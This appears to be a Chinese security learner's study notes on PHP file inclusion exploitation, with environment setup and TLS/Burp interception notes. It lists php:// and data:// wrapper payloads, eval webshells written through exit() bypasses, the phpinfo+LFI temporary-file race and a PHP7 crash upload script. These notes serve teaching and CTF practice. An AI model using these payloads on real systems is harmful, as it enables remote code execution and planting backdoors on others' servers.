就业

  • 实习经历是核心竞争力,多段实习
  • 提供真实渗透项目经验
  • 真实渗透经历 > CTF竞赛(补天、CNVD、护网行动)
  • 云安全(Docker、K8s)

AI工具

熟练使用Claude Code、GPT、Gemini等AI进行代码分析、漏洞理解、编写脚本进行辅助,但也要自己思考。

配置环境

Xdebug配置:

[Xdebug]
xdebug.mode = debug
xdebug.start_with_request = yes
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug-3.1.6-7.3-vc15-nts-x86_64.dll

PHP

# 安装依赖
sudo apt install -y build-essential libssl-dev libcurl4-openssl-dev \
    libxml2-dev libzip-dev libpng-dev libjpeg-dev libonig-dev \
    libsqlite3-dev libreadline-dev

# 配置编译
./buildconf --force
./configure \
    --prefix=/usr/local/php83 \
    --enable-fpm \
    --enable-debug \
    --enable-phar \
    --with-curl \
    --with-openssl \
    --enable-mbstring \
    --with-pdo-mysql \
    --with-mysqli

make -j$(nproc)
sudo make install

Nginx

apt-get install gcc libpcre3 libpcre3-dev zlib1g zlib1g-dev openssl libssl-dev

cd /usr/local/nginx
./configure --prefix=/usr/local/nginx --with-http_ssl_module
make && make install

/usr/local/nginx/sbin/nginx

PHP-FPM

; /etc/php/7.3/fpm/pool.d/www.conf
listen = 127.0.0.1:9000
# Nginx配置
location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass 127.0.0.1:9000;
}

PHP文件包含漏洞

PHP的include()函数在底层C语言中检查文件流是否存在<?php标识符,存在则作为PHP代码执行,不关心文件后缀。

$filename = $_GET['file'];
include($filename);

即使包含.txt文件,只要内有<?php system('whoami');?>即可执行。

php://伪协议

php://input - 读取POST原始数据

?file=php://input
POST: <?php system('whoami');?>

php://file - 读取本地文件

?file=php://file=/etc/passwd

php://filter - 过滤器协议

?file=php://filter/read=convert.base64-encode/resource=index.php

zip:// / compress.bzip2:// / compress.zlib://

?file=zip://绝对路径/2.zip%23shell.php
?file=compress.bzip2://file.bz2
?file=compress.zlib://file.gz

compress.zlib://协议(gz://)

?file=compress.zlib://http://127.0.0.1/shell.php.gz

compress.bzip2://协议(bz2://)

?file=compress.bzip2://http://127.0.0.1/shell.php.bz2

data://协议(需allow_url_include=on)

?file=data://text/plain,<?php system('whoami');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

绕过死亡exit():

题目

$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

方法一:base64解码跳过非法字符(<、?、;、>、空格)

filename=php://filter/write=convert.base64-decode/resource=shell.php
txt=aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=

方法二:strip_tags去除标签 + base64解码

filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
txt=PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=

HTTPS/TLS安全机制:

TLS握手流程(RSA密钥协商):

  1. Client Hello: 版本号、Client Random、密码套件列表
  2. Server Hello + Certificate: Server Random、密码套件、数字证书(含公钥)
  3. 客户端验证证书(CA公钥解密签名对比Hash)
  4. 客户端生成pre-master,用服务器公钥加密发送
  5. 双方用3个随机数生成Master Secret(对称密钥)
  6. 开始加密通信

密码套件示例:TLS_RSA_WITH_AES_128_GCM_SHA256

  • RSA: 密钥交换
  • AES_128_GCM: 对称加密
  • SHA256: 摘要算法

Burp Suite抓HTTPS原理:

条件:

  1. 客户端流量经过Burp代理(127.0.0.1:8080)
  2. 客户端信任Burp的CA证书
  3. 目标无证书锁定(Certificate Pinning)
  4. 无双向认证等特殊机制

防御与绕过:

  • 证书锁定 → Frida hook底层校验函数
  • 双向认证 → r0capture框架抓密钥
  • VMP加固 → 基本无法绕过

Phar文件结构

test.phar
├── stub (必须含__HALT_COMPILER())
├── manifest (元数据/序列化数据)
├── contents (文件内容)
└── signature (签名)

支持格式:Phar、Tar、Zip

Phar协议利用

Zip改名JPG后仍可用phar://访问,因为通过文件头(Magic Bytes)识别。

test.jpg (内容是Zip,文件头PK\x03\x04)
    ↓
phar://test.jpg/shell.php
    ↓
PHP读取文件头识别为Zip,解析成功

Phar协议完整调用链

include('phar://1.jpg/2.php')
    ↓
zend_include_or_eval()
    ↓
php_stream_open_wrapper()
    ↓
phar_wrapper_open_url()
    ↓
phar_parse_url() → 解析出 arch="1.jpg", entry="2.php"
    ↓
phar_open_from_filename() → 打开文件
    ↓
phar_detect_phar_format() → 检测Magic Bytes (PK\x03\x04)
    ↓
phar_parse_zipfile() → 解析Zip结构,构建manifest哈希表
    ↓
phar_get_entry_data() → 获取"2.php"的entry_info
    ↓
php_stream_alloc() → 创建stream,abstract指向entry
    ↓
phar_stream_read() → 从Zip读取文件内容
    ↓
zend_compile_string() → 编译为opcodes
    ↓
zend_execute() → 执行

PHP编译执行流程:

源代码
    ↓
词法分析(切割成token)
    ↓
语法分析(构建AST抽象语法树)
    ↓
编译(生成OPCODE数组,每个变量对应handler的C函数)
    ↓
执行(zend_execute_scripts虚拟机)

顶层函数 vs 非顶层函数:

区别:

  • 顶层函数:全局函数,直接定义在文件最外层
  • 非顶层函数:嵌套在类、命名空间、其他函数内部的函数

编译时处理:

  • 顶层函数:直接将函数名注册到函数表
  • 非顶层函数:生成临时K值作为函数名,编译后再注册真实函数名

非顶层函数命名规范:

\0 + 函数名 + 文件绝对路径 + : + 函数开始行号 + $ + 访问次数

phpinfo + LFI临时文件包含

原理:

  1. phpinfo页面加载完才删除临时文件
  2. 输出缓冲区4096字节
  3. 填充垃圾数据延长加载时间
  4. 边读边发包含请求,利用时间差

代码示例:

// index.php
$a = @$_GET['file'];
if (strpos($a,'flag')!==false) die('nonono');
include $a;

// phpinfo.php
phpinfo();

利用步骤:

  1. 构造multipart/form-data上传包,含webshell
  2. header填充垃圾数据(Cookie、User-Agent等)
  3. 操作原生socket,每次recv(4096)
  4. 正则匹配tmp_name提取临时文件路径
  5. 发现路径后立即发送第二个请求包含该文件
  6. 成功执行webshell

推荐webshell(包含后写入永久文件):

<?php file_put_contents('/tmp/sky', '<?php @eval($_REQUEST[sky]);');?>

PHP7崩溃利用

原理:使用php://filter/string.strip_tags读取非PHP文件触发Segment Fault,临时文件不删除。

files = {'file': BytesIO('<?php eval($_REQUEST[123]);?>')}
url = 'http://ip/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
requests.post(url=url, files=files, allow_redirects=False)

# 列举/tmp目录找到临时文件
# 包含并执行

Session文件包含:

原理:

  • Session记录用户登录状态和账号信息
  • Session内容部分可控(如用户名、密码等字段)
  • 包含Session文件可触发代码执行
     

Session存储位置:

  • Linux: /var/lib/php/sessions/sess_PHPSESSID
  • Linux: /tmp/sess_PHPSESSID
  • Windows: C:\Windows\Temp\sess_PHPSESSID

利用条件:

  1. 知道Session存储路径
  2. Session内容可控
  3. 存在文件包含漏洞

局限性:

  1. Session变量有严格转义机制
  2. 特殊字符会被转义
  3. 实战成功案例较少

临时文件包含:

PHP上传文件机制:

  1. 上传时创建临时文件(/tmp/phpXXXXXX)
  2. 后端处理完后自动删除
  3. 利用时间差在删除前包含

临时文件命名规则:

  • Linux: 6位随机字符 phpXXXXXX
  • Windows: 4位随机字符(相对好爆破)

利用方式:

  • phpinfo+LFI(PHP 5)
  • PHP 7崩溃(PHP 7)
  • 暴力猜测(Windows环境)
Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐